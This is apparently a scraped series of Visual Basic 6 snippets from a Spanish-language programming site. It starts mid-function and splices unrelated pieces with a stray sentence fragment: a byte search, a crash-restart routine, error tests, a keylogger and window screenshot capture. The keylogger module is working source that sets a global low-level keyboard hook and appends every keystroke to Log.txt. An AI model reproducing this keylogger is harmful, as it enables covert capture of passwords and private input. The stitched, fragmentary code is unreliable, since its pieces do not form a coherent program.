If bvMatch(j) <> aUChars(bvSource(i + j)) Then GoTo NotEqual
j = j - 1
Loop While j
InBytes = i
Exit Function
End If
NotEqual:
Next
Else
For i = 0 To UBound(bvSource)
If (lChr = aUChars(bvSource(i))) Then
InBytes = i
Exit Function
End If
Next
End If
InBytes = -1
End Function
Private Sub Form_Initialize()
Dim i As Long
For i = 0 To 255: aUChars(i) = i: Next
CharUpperBuffA aUChars(0), 256
End Sub
Private Sub Form_Load()
Dim t As Long, i As Long, Ret As Boolean
t = GetTickCount
For i = 0 To 100 'Este bucle es solo para exijirle un poco mas a la funcion
Ret = FindWordInFile(Environ("windir") & "\explorer.exe", "Mostrar en el escritorio", True)
'Ret = FindWordInFile(Environ("windir") & "\explorer.exe", "esta palabra no existe")
Next
MsgBox GetTickCount - t
Me.Caption = Ret
End Sub
y abría que hacer muchos cambios para que esto no pase.
Option Explicit
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Date: 28/12/2009
Private Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function SetProp Lib "user32.dll" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub FatalExit Lib "kernel32" (ByVal code As Long)
Dim hWinStatic As Long
Dim AppPath As String
Dim LastError As Long
Private Function CallSomeFunction()
'No borrar esta linea
End Function
Public Sub StarProtect()
hWinStatic = CreateWindowEx(0, "Static", "WindowControlerCrash", 0, 0, 0, 0, 0, 0, 0, 0, 0&)
AppPath = GetAppPath
SetTimer hWinStatic, 0, 100, AddressOf TimerProc
End Sub
Public Sub EndProtect()
KillTimer hWinStatic, 0
DestroyWindow hWinStatic
End Sub
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Dim Ret As String
If Err.Number = 40040 Then
ShellExecute hWinStatic, vbNullString, AppPath, LastError, vbNullString, 1
FatalExit 1
Else
LastError = Err.Number
Ret = CallSomeFunction
End If
End Sub
Private Function GetAppPath() As String
Dim ModuleName As String
Dim Ret As Long
ModuleName = String$(255, Chr$(0))
Ret = GetModuleFileName(App.hInstance, ModuleName, 255)
GetAppPath = Left$(ModuleName, Ret)
End Function
Option Explicit
Private Sub Form_Load()
If Command$ <> "" Then Me.Caption = "Aplicación Reinciada por error: " & Command$
StarProtect 'comienza la protección
End Sub
Private Sub Form_Unload(Cancel As Integer)
EndProtect 'Detiene la protección
End Sub
Private Sub Command1_Click()
MsgBox 1 / 0 'Error Divición por cero
End Sub
Private Sub Command2_Click()
Dim i As Integer
i = 8000000000000# 'Error Desvordamiento
End Sub
Private Sub Command3_Click()
Dim c As Date
c = "hola" 'Error no coinciden los tipos
End Sub
Private Sub Form_Load()
Dim a As Double
Dim b As Double
a = 4195038069#
b = &HF0F
Debug.Print a And b
End Sub
Option Explicit
'------------------------------------
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Fecha: 18-08-09
'En base a tutorial de Karcrack
'------------------------------------
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Const ES_MULTILINE As Long = &H4&
Private Const ES_AUTOVSCROLL As Long = &H40&
Private Const ES_AUTOHSCROLL As Long = &H80&
Private Const WM_IME_KEYDOWN As Long = &H290
Private Const WM_SYSKEYDOWN As Long = &H104
Private Const WM_KEYDOWN As Long = &H100
Private Const WM_KEYUP As Long = &H101
Private Const WH_KEYBOARD_LL As Long = 13
Private Const BUFFER_TO_SAVE As Long = 100
Private hEdit As Long
Private KBHook As Long
Private sTextData As String
Private TextLen As Long
Public Sub ManageKeylogger(ByVal Enable As Boolean)
Select Case Enable
Case True
hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)
KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
Debug.Print hEdit
Case False
Call UnhookWindowsHookEx(KBHook)
TextLen = GetWindowTextLength(hEdit)
If TextLen Then LogToFile App.Path & "\Log.txt"
DestroyWindow hEdit
End Select
End Sub
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
Select Case wParam
Case WM_KEYDOWN
If lParam <> 222 And lParam <> 186 Then
Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
End If
Case WM_KEYUP
TextLen = GetWindowTextLength(hEdit)
If TextLen > BUFFER_TO_SAVE Then
LogToFile App.Path & "\Log.txt"
End If
Case WM_SYSKEYDOWN
Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
End Select
End Function
Private Sub LogToFile(ByVal sPath As String)
sTextData = String(TextLen + 1, Chr$(0))
GetWindowText hEdit, sTextData, TextLen + 1
SetWindowText hEdit, vbNullString
Open sPath For Append As #1
Print #1, sTextData
Close #1
End Sub
Option Explicit
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function IsWindowVisible Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Public Declare Function PrintWindow Lib "user32.dll" (ByVal hWnd As Long, ByVal hdcBlt As Long, ByVal nFlags As Long) As Long
Private Const GWL_EXSTYLE As Long = -20
Private Const WS_EX_APPWINDOW As Long = &H40000
Private Const WS_EX_WINDOWEDGE As Long = &H100&
Dim arr() As Long
Public Function fEnumWindows() As Variant
ReDim arr(0)
Call EnumWindows(AddressOf fEnumWindowsCallBack, GetDesktopWindow)
fEnumWindows = arr
End Function
Private Function fEnumWindowsCallBack(ByVal hWnd As Long, ByVal lParam As Long) As Long
If IsWindowVisible(hWnd) Then
If IsExStyle(hWnd, WS_EX_APPWINDOW) Or GetWinClassName(hWnd) = "CabinetWClass" Then
arr(UBound(arr)) = hWnd
ReDim Preserve arr(UBound(arr) + 1)
End If
End If
fEnumWindowsCallBack = True
End Function
Public Function GetWinText(ByVal hWnd As Long)
Dim MyStr As String
MyStr = String(100, Chr$(0))
GetWindowText hWnd, MyStr, 100
GetWinText = Left$(MyStr, InStr(MyStr, Chr$(0)) - 1)
End Function
Public Function GetWinClassName(hWnd As Long) As String
Dim lpClassName As String
Dim Ret As Long
lpClassName = Space(256)
Ret = GetClassName(hWnd, lpClassName, 256)
GetWinClassName = Left$(lpClassName, Ret)
End Function
Private Function IsExStyle(hWnd As Long, ExStyle As Long) As Boolean
IsExStyle = (GetWindowLong(hWnd, GWL_EXSTYLE) And ExStyle) = ExStyle
End Function
Option Explicit
Dim MyArr() As Long
'wndclass_desked_gsk
'IDEOwner
Private Sub Form_Load()
Dim i As Long
MyArr = fEnumWindows
For i = 0 To UBound(MyArr) - 1
List1.AddItem GetWinText(MyArr(i))
Next
End Sub
Private Sub List1_Click()
Picture1.Cls
PrintWindow MyArr(List1.ListIndex), Picture1.hDC, 0
Me.Caption = GetWinClassName(MyArr(List1.ListIndex))
End Sub